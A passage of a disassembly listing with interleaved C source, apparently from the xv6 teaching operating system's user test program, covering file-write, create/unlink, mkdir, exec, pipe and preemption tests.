printf(stdout, "error: creat small failed!\n");
69c: a1 e4 61 00 00 mov 0x61e4,%eax
6a1: c7 44 24 04 d0 42 00 movl $0x42d0,0x4(%esp)
6a8: 00
6a9: 89 04 24 mov %eax,(%esp)
6ac: e8 4f 37 00 00 call 3e00 <printf>
exit();
6b1: e8 ec 35 00 00 call 3ca2 <exit>
6b6: 8d 76 00 lea 0x0(%esi),%esi
6b9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
000006c0 <writetest1>:
printf(stdout, "small file test ok\n");
}
void
writetest1(void)
{
6c0: 55 push %ebp
6c1: 89 e5 mov %esp,%ebp
6c3: 56 push %esi
6c4: 53 push %ebx
6c5: 83 ec 10 sub $0x10,%esp
int i, fd, n;
printf(stdout, "big files test\n");
6c8: a1 e4 61 00 00 mov 0x61e4,%eax
6cd: c7 44 24 04 7d 43 00 movl $0x437d,0x4(%esp)
6d4: 00
6d5: 89 04 24 mov %eax,(%esp)
6d8: e8 23 37 00 00 call 3e00 <printf>
fd = open("big", O_CREATE|O_RDWR);
6dd: c7 44 24 04 02 02 00 movl $0x202,0x4(%esp)
6e4: 00
6e5: c7 04 24 f7 43 00 00 movl $0x43f7,(%esp)
6ec: e8 f1 35 00 00 call 3ce2 <open>
if(fd < 0){
6f1: 85 c0 test %eax,%eax
{
int i, fd, n;
printf(stdout, "big files test\n");
fd = open("big", O_CREATE|O_RDWR);
6f3: 89 c6 mov %eax,%esi
if(fd < 0){
6f5: 0f 88 7a 01 00 00 js 875 <writetest1+0x1b5>
6fb: 31 db xor %ebx,%ebx
6fd: 8d 76 00 lea 0x0(%esi),%esi
exit();
}
for(i = 0; i < MAXFILE; i++){
((int*)buf)[0] = i;
if(write(fd, buf, 512) != 512){
700: c7 44 24 08 00 02 00 movl $0x200,0x8(%esp)
707: 00
708: c7 44 24 04 c0 89 00 movl $0x89c0,0x4(%esp)
70f: 00
710: 89 34 24 mov %esi,(%esp)
printf(stdout, "error: creat big failed!\n");
exit();
}
for(i = 0; i < MAXFILE; i++){
((int*)buf)[0] = i;
713: 89 1d c0 89 00 00 mov %ebx,0x89c0
if(write(fd, buf, 512) != 512){
719: e8 a4 35 00 00 call 3cc2 <write>
71e: 3d 00 02 00 00 cmp $0x200,%eax
723: 0f 85 b2 00 00 00 jne 7db <writetest1+0x11b>
if(fd < 0){
printf(stdout, "error: creat big failed!\n");
exit();
}
for(i = 0; i < MAXFILE; i++){
729: 83 c3 01 add $0x1,%ebx
72c: 81 fb 8c 00 00 00 cmp $0x8c,%ebx
732: 75 cc jne 700 <writetest1+0x40>
printf(stdout, "error: write big file failed\n", i);
exit();
}
}
close(fd);
734: 89 34 24 mov %esi,(%esp)
737: e8 8e 35 00 00 call 3cca <close>
fd = open("big", O_RDONLY);
73c: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
743: 00
744: c7 04 24 f7 43 00 00 movl $0x43f7,(%esp)
74b: e8 92 35 00 00 call 3ce2 <open>
if(fd < 0){
750: 85 c0 test %eax,%eax
}
}
close(fd);
fd = open("big", O_RDONLY);
752: 89 c6 mov %eax,%esi
if(fd < 0){
754: 0f 88 01 01 00 00 js 85b <writetest1+0x19b>
75a: 31 db xor %ebx,%ebx
75c: eb 1d jmp 77b <writetest1+0xbb>
75e: 66 90 xchg %ax,%ax
if(n == MAXFILE - 1){
printf(stdout, "read only %d blocks from big", n);
exit();
}
break;
} else if(i != 512){
760: 3d 00 02 00 00 cmp $0x200,%eax
765: 0f 85 b0 00 00 00 jne 81b <writetest1+0x15b>
printf(stdout, "read failed %d\n", i);
exit();
}
if(((int*)buf)[0] != n){
76b: a1 c0 89 00 00 mov 0x89c0,%eax
770: 39 d8 cmp %ebx,%eax
772: 0f 85 81 00 00 00 jne 7f9 <writetest1+0x139>
printf(stdout, "read content of block %d is %d\n",
n, ((int*)buf)[0]);
exit();
}
n++;
778: 83 c3 01 add $0x1,%ebx
exit();
}
n = 0;
for(;;){
i = read(fd, buf, 512);
77b: c7 44 24 08 00 02 00 movl $0x200,0x8(%esp)
782: 00
783: c7 44 24 04 c0 89 00 movl $0x89c0,0x4(%esp)
78a: 00
78b: 89 34 24 mov %esi,(%esp)
78e: e8 27 35 00 00 call 3cba <read>
if(i == 0){
793: 85 c0 test %eax,%eax
795: 75 c9 jne 760 <writetest1+0xa0>
if(n == MAXFILE - 1){
797: 81 fb 8b 00 00 00 cmp $0x8b,%ebx
79d: 0f 84 96 00 00 00 je 839 <writetest1+0x179>
n, ((int*)buf)[0]);
exit();
}
n++;
}
close(fd);
7a3: 89 34 24 mov %esi,(%esp)
7a6: e8 1f 35 00 00 call 3cca <close>
if(unlink("big") < 0){
7ab: c7 04 24 f7 43 00 00 movl $0x43f7,(%esp)
7b2: e8 3b 35 00 00 call 3cf2 <unlink>
7b7: 85 c0 test %eax,%eax
7b9: 0f 88 d0 00 00 00 js 88f <writetest1+0x1cf>
printf(stdout, "unlink big failed\n");
exit();
}
printf(stdout, "big files ok\n");
7bf: a1 e4 61 00 00 mov 0x61e4,%eax
7c4: c7 44 24 04 1e 44 00 movl $0x441e,0x4(%esp)
7cb: 00
7cc: 89 04 24 mov %eax,(%esp)
7cf: e8 2c 36 00 00 call 3e00 <printf>
}
7d4: 83 c4 10 add $0x10,%esp
7d7: 5b pop %ebx
7d8: 5e pop %esi
7d9: 5d pop %ebp
7da: c3 ret
}
for(i = 0; i < MAXFILE; i++){
((int*)buf)[0] = i;
if(write(fd, buf, 512) != 512){
printf(stdout, "error: write big file failed\n", i);
7db: a1 e4 61 00 00 mov 0x61e4,%eax
7e0: 89 5c 24 08 mov %ebx,0x8(%esp)
7e4: c7 44 24 04 a7 43 00 movl $0x43a7,0x4(%esp)
7eb: 00
7ec: 89 04 24 mov %eax,(%esp)
7ef: e8 0c 36 00 00 call 3e00 <printf>
exit();
7f4: e8 a9 34 00 00 call 3ca2 <exit>
} else if(i != 512){
printf(stdout, "read failed %d\n", i);
exit();
}
if(((int*)buf)[0] != n){
printf(stdout, "read content of block %d is %d\n",
7f9: 89 44 24 0c mov %eax,0xc(%esp)
7fd: a1 e4 61 00 00 mov 0x61e4,%eax
802: 89 5c 24 08 mov %ebx,0x8(%esp)
806: c7 44 24 04 f8 51 00 movl $0x51f8,0x4(%esp)
80d: 00
80e: 89 04 24 mov %eax,(%esp)
811: e8 ea 35 00 00 call 3e00 <printf>
n, ((int*)buf)[0]);
exit();
816: e8 87 34 00 00 call 3ca2 <exit>
printf(stdout, "read only %d blocks from big", n);
exit();
}
break;
} else if(i != 512){
printf(stdout, "read failed %d\n", i);
81b: 89 44 24 08 mov %eax,0x8(%esp)
81f: a1 e4 61 00 00 mov 0x61e4,%eax
824: c7 44 24 04 fb 43 00 movl $0x43fb,0x4(%esp)
82b: 00
82c: 89 04 24 mov %eax,(%esp)
82f: e8 cc 35 00 00 call 3e00 <printf>
exit();
834: e8 69 34 00 00 call 3ca2 <exit>
n = 0;
for(;;){
i = read(fd, buf, 512);
if(i == 0){
if(n == MAXFILE - 1){
printf(stdout, "read only %d blocks from big", n);
839: a1 e4 61 00 00 mov 0x61e4,%eax
83e: c7 44 24 08 8b 00 00 movl $0x8b,0x8(%esp)
845: 00
846: c7 44 24 04 de 43 00 movl $0x43de,0x4(%esp)
84d: 00
84e: 89 04 24 mov %eax,(%esp)
851: e8 aa 35 00 00 call 3e00 <printf>
exit();
856: e8 47 34 00 00 call 3ca2 <exit>
close(fd);
fd = open("big", O_RDONLY);
if(fd < 0){
printf(stdout, "error: open big failed!\n");
85b: a1 e4 61 00 00 mov 0x61e4,%eax
860: c7 44 24 04 c5 43 00 movl $0x43c5,0x4(%esp)
867: 00
868: 89 04 24 mov %eax,(%esp)
86b: e8 90 35 00 00 call 3e00 <printf>
exit();
870: e8 2d 34 00 00 call 3ca2 <exit>
printf(stdout, "big files test\n");
fd = open("big", O_CREATE|O_RDWR);
if(fd < 0){
printf(stdout, "error: creat big failed!\n");
875: a1 e4 61 00 00 mov 0x61e4,%eax
87a: c7 44 24 04 8d 43 00 movl $0x438d,0x4(%esp)
881: 00
882: 89 04 24 mov %eax,(%esp)
885: e8 76 35 00 00 call 3e00 <printf>
exit();
88a: e8 13 34 00 00 call 3ca2 <exit>
}
n++;
}
close(fd);
if(unlink("big") < 0){
printf(stdout, "unlink big failed\n");
88f: a1 e4 61 00 00 mov 0x61e4,%eax
894: c7 44 24 04 0b 44 00 movl $0x440b,0x4(%esp)
89b: 00
89c: 89 04 24 mov %eax,(%esp)
89f: e8 5c 35 00 00 call 3e00 <printf>
exit();
8a4: e8 f9 33 00 00 call 3ca2 <exit>
8a9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
000008b0 <createtest>:
printf(stdout, "big files ok\n");
}
void
createtest(void)
{
8b0: 55 push %ebp
8b1: 89 e5 mov %esp,%ebp
8b3: 53 push %ebx
int i, fd;
printf(stdout, "many creates, followed by unlink test\n");
name[0] = 'a';
name[2] = '\0';
8b4: bb 30 00 00 00 mov $0x30,%ebx
printf(stdout, "big files ok\n");
}
void
createtest(void)
{
8b9: 83 ec 14 sub $0x14,%esp
int i, fd;
printf(stdout, "many creates, followed by unlink test\n");
8bc: a1 e4 61 00 00 mov 0x61e4,%eax
8c1: c7 44 24 04 18 52 00 movl $0x5218,0x4(%esp)
8c8: 00
8c9: 89 04 24 mov %eax,(%esp)
8cc: e8 2f 35 00 00 call 3e00 <printf>
name[0] = 'a';
8d1: c6 05 c0 a9 00 00 61 movb $0x61,0xa9c0
name[2] = '\0';
8d8: c6 05 c2 a9 00 00 00 movb $0x0,0xa9c2
8df: 90 nop
for(i = 0; i < 52; i++){
name[1] = '0' + i;
fd = open(name, O_CREATE|O_RDWR);
8e0: c7 44 24 04 02 02 00 movl $0x202,0x4(%esp)
8e7: 00
8e8: c7 04 24 c0 a9 00 00 movl $0xa9c0,(%esp)
printf(stdout, "many creates, followed by unlink test\n");
name[0] = 'a';
name[2] = '\0';
for(i = 0; i < 52; i++){
name[1] = '0' + i;
8ef: 88 1d c1 a9 00 00 mov %bl,0xa9c1
8f5: 83 c3 01 add $0x1,%ebx
fd = open(name, O_CREATE|O_RDWR);
8f8: e8 e5 33 00 00 call 3ce2 <open>
close(fd);
8fd: 89 04 24 mov %eax,(%esp)
900: e8 c5 33 00 00 call 3cca <close>
printf(stdout, "many creates, followed by unlink test\n");
name[0] = 'a';
name[2] = '\0';
for(i = 0; i < 52; i++){
905: 80 fb 64 cmp $0x64,%bl
908: 75 d6 jne 8e0 <createtest+0x30>
name[1] = '0' + i;
fd = open(name, O_CREATE|O_RDWR);
close(fd);
}
name[0] = 'a';
90a: c6 05 c0 a9 00 00 61 movb $0x61,0xa9c0
name[2] = '\0';
911: bb 30 00 00 00 mov $0x30,%ebx
916: c6 05 c2 a9 00 00 00 movb $0x0,0xa9c2
91d: 8d 76 00 lea 0x0(%esi),%esi
for(i = 0; i < 52; i++){
name[1] = '0' + i;
920: 88 1d c1 a9 00 00 mov %bl,0xa9c1
926: 83 c3 01 add $0x1,%ebx
unlink(name);
929: c7 04 24 c0 a9 00 00 movl $0xa9c0,(%esp)
930: e8 bd 33 00 00 call 3cf2 <unlink>
fd = open(name, O_CREATE|O_RDWR);
close(fd);
}
name[0] = 'a';
name[2] = '\0';
for(i = 0; i < 52; i++){
935: 80 fb 64 cmp $0x64,%bl
938: 75 e6 jne 920 <createtest+0x70>
name[1] = '0' + i;
unlink(name);
}
printf(stdout, "many creates, followed by unlink; ok\n");
93a: a1 e4 61 00 00 mov 0x61e4,%eax
93f: c7 44 24 04 40 52 00 movl $0x5240,0x4(%esp)
946: 00
947: 89 04 24 mov %eax,(%esp)
94a: e8 b1 34 00 00 call 3e00 <printf>
}
94f: 83 c4 14 add $0x14,%esp
952: 5b pop %ebx
953: 5d pop %ebp
954: c3 ret
955: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
959: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000960 <dirtest>:
void dirtest(void)
{
960: 55 push %ebp
961: 89 e5 mov %esp,%ebp
963: 83 ec 18 sub $0x18,%esp
printf(stdout, "mkdir test\n");
966: a1 e4 61 00 00 mov 0x61e4,%eax
96b: c7 44 24 04 2c 44 00 movl $0x442c,0x4(%esp)
972: 00
973: 89 04 24 mov %eax,(%esp)
976: e8 85 34 00 00 call 3e00 <printf>
if(mkdir("dir0") < 0){
97b: c7 04 24 38 44 00 00 movl $0x4438,(%esp)
982: e8 83 33 00 00 call 3d0a <mkdir>
987: 85 c0 test %eax,%eax
989: 78 4b js 9d6 <dirtest+0x76>
printf(stdout, "mkdir failed\n");
exit();
}
if(chdir("dir0") < 0){
98b: c7 04 24 38 44 00 00 movl $0x4438,(%esp)
992: e8 7b 33 00 00 call 3d12 <chdir>
997: 85 c0 test %eax,%eax
999: 0f 88 85 00 00 00 js a24 <dirtest+0xc4>
printf(stdout, "chdir dir0 failed\n");
exit();
}
if(chdir("..") < 0){
99f: c7 04 24 dd 49 00 00 movl $0x49dd,(%esp)
9a6: e8 67 33 00 00 call 3d12 <chdir>
9ab: 85 c0 test %eax,%eax
9ad: 78 5b js a0a <dirtest+0xaa>
printf(stdout, "chdir .. failed\n");
exit();
}
if(unlink("dir0") < 0){
9af: c7 04 24 38 44 00 00 movl $0x4438,(%esp)
9b6: e8 37 33 00 00 call 3cf2 <unlink>
9bb: 85 c0 test %eax,%eax
9bd: 78 31 js 9f0 <dirtest+0x90>
printf(stdout, "unlink dir0 failed\n");
exit();
}
printf(stdout, "mkdir test ok\n");
9bf: a1 e4 61 00 00 mov 0x61e4,%eax
9c4: c7 44 24 04 75 44 00 movl $0x4475,0x4(%esp)
9cb: 00
9cc: 89 04 24 mov %eax,(%esp)
9cf: e8 2c 34 00 00 call 3e00 <printf>
}
9d4: c9 leave
9d5: c3 ret
void dirtest(void)
{
printf(stdout, "mkdir test\n");
if(mkdir("dir0") < 0){
printf(stdout, "mkdir failed\n");
9d6: a1 e4 61 00 00 mov 0x61e4,%eax
9db: c7 44 24 04 68 41 00 movl $0x4168,0x4(%esp)
9e2: 00
9e3: 89 04 24 mov %eax,(%esp)
9e6: e8 15 34 00 00 call 3e00 <printf>
exit();
9eb: e8 b2 32 00 00 call 3ca2 <exit>
printf(stdout, "chdir .. failed\n");
exit();
}
if(unlink("dir0") < 0){
printf(stdout, "unlink dir0 failed\n");
9f0: a1 e4 61 00 00 mov 0x61e4,%eax
9f5: c7 44 24 04 61 44 00 movl $0x4461,0x4(%esp)
9fc: 00
9fd: 89 04 24 mov %eax,(%esp)
a00: e8 fb 33 00 00 call 3e00 <printf>
exit();
a05: e8 98 32 00 00 call 3ca2 <exit>
printf(stdout, "chdir dir0 failed\n");
exit();
}
if(chdir("..") < 0){
printf(stdout, "chdir .. failed\n");
a0a: a1 e4 61 00 00 mov 0x61e4,%eax
a0f: c7 44 24 04 50 44 00 movl $0x4450,0x4(%esp)
a16: 00
a17: 89 04 24 mov %eax,(%esp)
a1a: e8 e1 33 00 00 call 3e00 <printf>
exit();
a1f: e8 7e 32 00 00 call 3ca2 <exit>
printf(stdout, "mkdir failed\n");
exit();
}
if(chdir("dir0") < 0){
printf(stdout, "chdir dir0 failed\n");
a24: a1 e4 61 00 00 mov 0x61e4,%eax
a29: c7 44 24 04 3d 44 00 movl $0x443d,0x4(%esp)
a30: 00
a31: 89 04 24 mov %eax,(%esp)
a34: e8 c7 33 00 00 call 3e00 <printf>
exit();
a39: e8 64 32 00 00 call 3ca2 <exit>
a3e: 66 90 xchg %ax,%ax
00000a40 <exectest>:
printf(stdout, "mkdir test ok\n");
}
void
exectest(void)
{
a40: 55 push %ebp
a41: 89 e5 mov %esp,%ebp
a43: 83 ec 18 sub $0x18,%esp
printf(stdout, "exec test\n");
a46: a1 e4 61 00 00 mov 0x61e4,%eax
a4b: c7 44 24 04 84 44 00 movl $0x4484,0x4(%esp)
a52: 00
a53: 89 04 24 mov %eax,(%esp)
a56: e8 a5 33 00 00 call 3e00 <printf>
if(exec("echo", echoargv) < 0){
a5b: c7 44 24 04 e8 61 00 movl $0x61e8,0x4(%esp)
a62: 00
a63: c7 04 24 4d 42 00 00 movl $0x424d,(%esp)
a6a: e8 6b 32 00 00 call 3cda <exec>
a6f: 85 c0 test %eax,%eax
a71: 78 02 js a75 <exectest+0x35>
printf(stdout, "exec echo failed\n");
exit();
}
}
a73: c9 leave
a74: c3 ret
void
exectest(void)
{
printf(stdout, "exec test\n");
if(exec("echo", echoargv) < 0){
printf(stdout, "exec echo failed\n");
a75: a1 e4 61 00 00 mov 0x61e4,%eax
a7a: c7 44 24 04 8f 44 00 movl $0x448f,0x4(%esp)
a81: 00
a82: 89 04 24 mov %eax,(%esp)
a85: e8 76 33 00 00 call 3e00 <printf>
exit();
a8a: e8 13 32 00 00 call 3ca2 <exit>
a8f: 90 nop
00000a90 <pipe1>:
// simple fork and pipe read/write
void
pipe1(void)
{
a90: 55 push %ebp
a91: 89 e5 mov %esp,%ebp
a93: 57 push %edi
a94: 56 push %esi
a95: 53 push %ebx
a96: 83 ec 2c sub $0x2c,%esp
int fds[2], pid;
int seq, i, n, cc, total;
if(pipe(fds) != 0){
a99: 8d 45 e0 lea -0x20(%ebp),%eax
a9c: 89 04 24 mov %eax,(%esp)
a9f: e8 0e 32 00 00 call 3cb2 <pipe>
aa4: 85 c0 test %eax,%eax
aa6: 0f 85 4e 01 00 00 jne bfa <pipe1+0x16a>
printf(1, "pipe() failed\n");
exit();
}
pid = fork();
aac: e8 e9 31 00 00 call 3c9a <fork>
seq = 0;
if(pid == 0){
ab1: 83 f8 00 cmp $0x0,%eax
ab4: 0f 84 93 00 00 00 je b4d <pipe1+0xbd>
printf(1, "pipe1 oops 1\n");
exit();
}
}
exit();
} else if(pid > 0){
aba: 0f 8e 53 01 00 00 jle c13 <pipe1+0x183>
close(fds[1]);
ac0: 8b 45 e4 mov -0x1c(%ebp),%eax
total = 0;
cc = 1;
ac3: bf 01 00 00 00 mov $0x1,%edi
if(pipe(fds) != 0){
printf(1, "pipe() failed\n");
exit();
}
pid = fork();
seq = 0;
ac8: 31 db xor %ebx,%ebx
exit();
}
}
exit();
} else if(pid > 0){
close(fds[1]);
aca: 89 04 24 mov %eax,(%esp)
acd: e8 f8 31 00 00 call 3cca <close>
total = 0;
ad2: c7 45 d4 00 00 00 00 movl $0x0,-0x2c(%ebp)
cc = 1;
while((n = read(fds[0], buf, cc)) > 0){
ad9: 8b 45 e0 mov -0x20(%ebp),%eax
adc: 89 7c 24 08 mov %edi,0x8(%esp)
ae0: c7 44 24 04 c0 89 00 movl $0x89c0,0x4(%esp)
ae7: 00
ae8: 89 04 24 mov %eax,(%esp)
aeb: e8 ca 31 00 00 call 3cba <read>
af0: 85 c0 test %eax,%eax
af2: 0f 8e b3 00 00 00 jle bab <pipe1+0x11b>
af8: 89 d9 mov %ebx,%ecx
afa: 8d 34 03 lea (%ebx,%eax,1),%esi
afd: f7 d9 neg %ecx
aff: eb 09 jmp b0a <pipe1+0x7a>
b01: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
for(i = 0; i < n; i++){
if((buf[i] & 0xff) != (seq++ & 0xff)){
b08: 89 d3 mov %edx,%ebx
b0a: 38 9c 0b c0 89 00 00 cmp %bl,0x89c0(%ebx,%ecx,1)
b11: 8d 53 01 lea 0x1(%ebx),%edx
b14: 75 1b jne b31 <pipe1+0xa1>
} else if(pid > 0){
close(fds[1]);
total = 0;
cc = 1;
while((n = read(fds[0], buf, cc)) > 0){
for(i = 0; i < n; i++){
b16: 39 f2 cmp %esi,%edx
b18: 75 ee jne b08 <pipe1+0x78>
printf(1, "pipe1 oops 2\n");
return;
}
}
total += n;
cc = cc * 2;
b1a: 01 ff add %edi,%edi
close(fds[1]);
total = 0;
cc = 1;
while((n = read(fds[0], buf, cc)) > 0){
for(i = 0; i < n; i++){
if((buf[i] & 0xff) != (seq++ & 0xff)){
b1c: 89 f3 mov %esi,%ebx
printf(1, "pipe1 oops 2\n");
return;
}
}
total += n;
b1e: 01 45 d4 add %eax,-0x2c(%ebp)
cc = cc * 2;
if(cc > sizeof(buf))
cc = sizeof(buf);
b21: 81 ff 01 20 00 00 cmp $0x2001,%edi
b27: b8 00 20 00 00 mov $0x2000,%eax
b2c: 0f 43 f8 cmovae %eax,%edi
b2f: eb a8 jmp ad9 <pipe1+0x49>
total = 0;
cc = 1;
while((n = read(fds[0], buf, cc)) > 0){
for(i = 0; i < n; i++){
if((buf[i] & 0xff) != (seq++ & 0xff)){
printf(1, "pipe1 oops 2\n");
b31: c7 44 24 04 be 44 00 movl $0x44be,0x4(%esp)
b38: 00
b39: c7 04 24 01 00 00 00 movl $0x1,(%esp)
b40: e8 bb 32 00 00 call 3e00 <printf>
} else {
printf(1, "fork() failed\n");
exit();
}
printf(1, "pipe1 ok\n");
}
b45: 83 c4 2c add $0x2c,%esp
b48: 5b pop %ebx
b49: 5e pop %esi
b4a: 5f pop %edi
b4b: 5d pop %ebp
b4c: c3 ret
exit();
}
pid = fork();
seq = 0;
if(pid == 0){
close(fds[0]);
b4d: 8b 45 e0 mov -0x20(%ebp),%eax
if(pipe(fds) != 0){
printf(1, "pipe() failed\n");
exit();
}
pid = fork();
seq = 0;
b50: 31 f6 xor %esi,%esi
if(pid == 0){
close(fds[0]);
b52: 89 04 24 mov %eax,(%esp)
b55: e8 70 31 00 00 call 3cca <close>
b5a: 89 f0 mov %esi,%eax
// simple fork and pipe read/write
void
pipe1(void)
{
b5c: 89 f3 mov %esi,%ebx
b5e: 8d 96 09 04 00 00 lea 0x409(%esi),%edx
b64: f7 d8 neg %eax
b66: 66 90 xchg %ax,%ax
seq = 0;
if(pid == 0){
close(fds[0]);
for(n = 0; n < 5; n++){
for(i = 0; i < 1033; i++)
buf[i] = seq++;
b68: 88 9c 18 c0 89 00 00 mov %bl,0x89c0(%eax,%ebx,1)
b6f: 83 c3 01 add $0x1,%ebx
pid = fork();
seq = 0;
if(pid == 0){
close(fds[0]);
for(n = 0; n < 5; n++){
for(i = 0; i < 1033; i++)
b72: 39 d3 cmp %edx,%ebx
b74: 75 f2 jne b68 <pipe1+0xd8>
buf[i] = seq++;
if(write(fds[1], buf, 1033) != 1033){
b76: 8b 45 e4 mov -0x1c(%ebp),%eax
b79: 89 de mov %ebx,%esi
b7b: c7 44 24 08 09 04 00 movl $0x409,0x8(%esp)
b82: 00
b83: c7 44 24 04 c0 89 00 movl $0x89c0,0x4(%esp)
b8a: 00
b8b: 89 04 24 mov %eax,(%esp)
b8e: e8 2f 31 00 00 call 3cc2 <write>
b93: 3d 09 04 00 00 cmp $0x409,%eax
b98: 0f 85 8e 00 00 00 jne c2c <pipe1+0x19c>
}
pid = fork();
seq = 0;
if(pid == 0){
close(fds[0]);
for(n = 0; n < 5; n++){
b9e: 81 fb 2d 14 00 00 cmp $0x142d,%ebx
ba4: 75 b4 jne b5a <pipe1+0xca>
if(cc > sizeof(buf))
cc = sizeof(buf);
}
if(total != 5 * 1033){
printf(1, "pipe1 oops 3 total %d\n", total);
exit();
ba6: e8 f7 30 00 00 call 3ca2 <exit>
total += n;
cc = cc * 2;
if(cc > sizeof(buf))
cc = sizeof(buf);
}
if(total != 5 * 1033){
bab: 81 7d d4 2d 14 00 00 cmpl $0x142d,-0x2c(%ebp)
bb2: 75 29 jne bdd <pipe1+0x14d>
printf(1, "pipe1 oops 3 total %d\n", total);
exit();
}
close(fds[0]);
bb4: 8b 45 e0 mov -0x20(%ebp),%eax
bb7: 89 04 24 mov %eax,(%esp)
bba: e8 0b 31 00 00 call 3cca <close>
wait();
bbf: e8 e6 30 00 00 call 3caa <wait>
} else {
printf(1, "fork() failed\n");
exit();
}
printf(1, "pipe1 ok\n");
bc4: c7 44 24 04 e3 44 00 movl $0x44e3,0x4(%esp)
bcb: 00
bcc: c7 04 24 01 00 00 00 movl $0x1,(%esp)
bd3: e8 28 32 00 00 call 3e00 <printf>
bd8: e9 68 ff ff ff jmp b45 <pipe1+0xb5>
cc = cc * 2;
if(cc > sizeof(buf))
cc = sizeof(buf);
}
if(total != 5 * 1033){
printf(1, "pipe1 oops 3 total %d\n", total);
bdd: 8b 45 d4 mov -0x2c(%ebp),%eax
be0: c7 44 24 04 cc 44 00 movl $0x44cc,0x4(%esp)
be7: 00
be8: c7 04 24 01 00 00 00 movl $0x1,(%esp)
bef: 89 44 24 08 mov %eax,0x8(%esp)
bf3: e8 08 32 00 00 call 3e00 <printf>
bf8: eb ac jmp ba6 <pipe1+0x116>
{
int fds[2], pid;
int seq, i, n, cc, total;
if(pipe(fds) != 0){
printf(1, "pipe() failed\n");
bfa: c7 44 24 04 a1 44 00 movl $0x44a1,0x4(%esp)
c01: 00
c02: c7 04 24 01 00 00 00 movl $0x1,(%esp)
c09: e8 f2 31 00 00 call 3e00 <printf>
exit();
c0e: e8 8f 30 00 00 call 3ca2 <exit>
exit();
}
close(fds[0]);
wait();
} else {
printf(1, "fork() failed\n");
c13: c7 44 24 04 ed 44 00 movl $0x44ed,0x4(%esp)
c1a: 00
c1b: c7 04 24 01 00 00 00 movl $0x1,(%esp)
c22: e8 d9 31 00 00 call 3e00 <printf>
exit();
c27: e8 76 30 00 00 call 3ca2 <exit>
close(fds[0]);
for(n = 0; n < 5; n++){
for(i = 0; i < 1033; i++)
buf[i] = seq++;
if(write(fds[1], buf, 1033) != 1033){
printf(1, "pipe1 oops 1\n");
c2c: c7 44 24 04 b0 44 00 movl $0x44b0,0x4(%esp)
c33: 00
c34: c7 04 24 01 00 00 00 movl $0x1,(%esp)
c3b: e8 c0 31 00 00 call 3e00 <printf>
exit();
c40: e8 5d 30 00 00 call 3ca2 <exit>
c45: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
c49: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000c50 <preempt>:
}
// meant to be run w/ at most two CPUs
void
preempt(void)
{
c50: 55 push %ebp
c51: 89 e5 mov %esp,%ebp
c53: 57 push %edi
c54: 56 push %esi
c55: 53 push %ebx
c56: 83 ec 2c sub $0x2c,%esp
int pid1, pid2, pid3;
int pfds[2];
printf(1, "preempt: ");
c59: c7 44 24 04 fc 44 00 movl $0x44fc,0x4(%esp)
c60: 00
c61: c7 04 24 01 00 00 00 movl $0x1,(%esp)
c68: e8 93 31 00 00 call 3e00 <printf>
pid1 = fork();
c6d: e8 28 30 00 00 call 3c9a <fork>
if(pid1 == 0)
c72: 85 c0 test %eax,%eax
{
int pid1, pid2, pid3;
int pfds[2];
printf(1, "preempt: ");
pid1 = fork();
c74: 89 c7 mov %eax,%edi
if(pid1 == 0)
c76: 75 02 jne c7a <preempt+0x2a>
c78: eb fe jmp c78 <preempt+0x28>
c7a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
for(;;)
;
pid2 = fork();
c80: e8 15 30 00 00 call 3c9a <fork>
if(pid2 == 0)
c85: 85 c0 test %eax,%eax
pid1 = fork();
if(pid1 == 0)
for(;;)
;
pid2 = fork();
c87: 89 c6 mov %eax,%esi
if(pid2 == 0)
c89: 75 02 jne c8d <preempt+0x3d>
c8b: eb fe jmp c8b <preempt+0x3b>
for(;;)
;
pipe(pfds);
c8d: 8d 45 e0 lea -0x20(%ebp),%eax
c90: 89 04 24 mov %eax,(%esp)
c93: e8 1a 30 00 00 call 3cb2 <pipe>
pid3 = fork();
c98: e8 fd 2f 00 00 call 3c9a <fork>
if(pid3 == 0){
c9d: 85 c0 test %eax,%eax
if(pid2 == 0)
for(;;)
;
pipe(pfds);
pid3 = fork();
c9f: 89 c3 mov %eax,%ebx
if(pid3 == 0){
ca1: 75 4c jne cef <preempt+0x9f>
close(pfds[0]);
ca3: 8b 45 e0 mov -0x20(%ebp),%eax
ca6: 89 04 24 mov %eax,(%esp)
ca9: e8 1c 30 00 00 call 3cca <close>
if(write(pfds[1], "x", 1) != 1)
cae: 8b 45 e4 mov -0x1c(%ebp),%eax
cb1: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp)
cb8: 00
cb9: c7 44 24 04 c1 4a 00 movl $0x4ac1,0x4(%esp)
cc0: 00
cc1: 89 04 24 mov %eax,(%esp)
cc4: e8 f9 2f 00 00 call 3cc2 <write>
cc9: 83 f8 01 cmp $0x1,%eax
ccc: 74 14 je ce2 <preempt+0x92>
printf(1, "preempt write error");
cce: c7 44 24 04 06 45 00 movl $0x4506,0x4(%esp)
cd5: 00
cd6: c7 04 24 01 00 00 00 movl $0x1,(%esp)
cdd: e8 1e 31 00 00 call 3e00 <printf>
close(pfds[1]);
ce2: 8b 45 e4 mov -0x1c(%ebp),%eax
ce5: 89 04 24 mov %eax,(%esp)
ce8: e8 dd 2f 00 00 call 3cca <close>
ced: eb fe jmp ced <preempt+0x9d>
for(;;)
;
}
close(pfds[1]);
cef: 8b 45 e4 mov -0x1c(%ebp),%eax
cf2: 89 04 24 mov %eax,(%esp)
cf5: e8 d0 2f 00 00 call 3cca <close>
if(read(pfds[0], buf, sizeof(buf)) != 1){
cfa: 8b 45 e0 mov -0x20(%ebp),%eax
cfd: c7 44 24 08 00 20 00 movl $0x2000,0x8(%esp)
d04: 00
d05: c7 44 24 04 c0 89 00 movl $0x89c0,0x4(%esp)
d0c: 00
d0d: 89 04 24 mov %eax,(%esp)
d10: e8 a5 2f 00 00 call 3cba <read>
d15: 83 f8 01 cmp $0x1,%eax
d18: 74 1c je d36 <preempt+0xe6>
printf(1, "preempt read error");
d1a: c7 44 24 04 1a 45 00 movl $0x451a,0x4(%esp)
d21: 00
d22: c7 04 24 01 00 00 00 movl $0x1,(%esp)
d29: e8 d2 30 00 00 call 3e00 <printf>
